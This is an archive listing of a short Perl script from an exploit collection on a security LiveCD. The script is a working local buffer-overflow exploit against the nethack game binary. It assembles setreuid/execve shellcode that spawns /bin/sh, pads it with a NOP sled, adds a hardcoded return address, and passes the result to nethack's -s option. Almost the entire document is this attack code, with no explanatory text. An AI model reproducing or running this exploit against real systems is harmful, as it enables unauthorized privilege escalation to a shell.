home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / nethack / nethacker.pl < prev   
Perl Script  |  2005-02-12  |  703b  |  22 lines

  1. #!/usr/bin/perl -w
  2. #
  3. # tsao@efnet #!IC@efnet 2k3
  4. # thnx to aleph1 for execve shellcode
  5. # davidicke for setreuid() shellcode
  6.  
  7.  
  8. $sc .= "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\x31\xdb";
  9. $sc .= "\x31\xc9\xb3\x0c\xb1\x0c\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e";
  10. $sc .= "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12";
  11. $sc .= "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62";
  12. $sc .=  "\x69\x6e\x2f\x73\x68\x01";
  13.  
  14. for ($i = 0; $i < (224 - (length($sc)) - 4); $i++) {
  15.     $buf .= "\x90";
  16. }
  17.  
  18. $buf .= $sc;
  19. $buf .= "\xd2\xf8\xff\xbf";
  20.  
  21. exec("/usr/games/lib/nethackdir/nethack -s '$buf'");
  22.